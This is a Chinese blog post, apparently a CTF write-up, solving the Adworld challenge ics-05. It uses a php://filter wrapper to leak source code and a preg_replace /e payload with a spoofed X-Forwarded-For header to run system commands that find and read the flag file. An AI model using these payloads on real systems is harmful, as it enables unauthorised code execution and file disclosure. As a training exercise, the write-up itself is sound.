攻防世界【ics-05】解题方法

攻防世界【ics-05】解题方法

  1. 进入场景之后发现只有设备维护中心能够被点击,点击进入,发现点击“云平台设备维护中心”,url地址会发生改变,且页面中显示内容index,换成其它字符也一样能够显示到界面中
    在这里插入图片描述

  2. 根据传入的参数名为page猜测可能存在文件包含漏洞,尝试使用php://input和data://text/plain协议执行system(“ls”)都失败。尝试通过php://filter协议获取index.php的源代码

    php://filter/read=convert.base64-encode/resource=index.php
    

    其中resource指明要读取的文件,read指明表示读取的方式是 base64 编码后,如果不使用base64进行编码后再读取,php代码就会直接执行,这句话的意思是我们用base64编码的方式来读文件index.php,这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到index.php的源码
    发现获取成功
    在这里插入图片描述
    使用base64解码之后得到index.php源码
    在这里插入图片描述
    源码把关键字input、text都过滤掉了,这也就是php://input和data://text用不了的原因,继续查看源码,发现存在preg_replace漏洞
    在这里插入图片描述

  3. preg_replace函数定义如下

    preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    

    函数功能为:搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换
    其中pattern如果使用了/e 修正符, preg_replace() 会把 replacement 参数当作 PHP 代码执行
    所以构造payload如下(注意:subject需要能够找到pattern的匹配项)

    index.php?pat=/test/e&rep=phpinfo()&sub=test
    

    同时为了满足$_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’,使用burpsuite拦截请求并加上请求头

    X-Forwarded-For: 127.0.0.1
    

    得到如下结果
    在这里插入图片描述

  4. 上面可知php代码可以执行成功,重新构造payload如下寻找所有名字包含flag的文件

    index.php?pat=/test/e&rep=system("find / -name flag*")&sub=test
    

    在这里插入图片描述
    最后查看/var/www/html/s3chahahaDir/flag/flag.php文件内容即可

    index.php?pat=/test/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=test
    

    在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值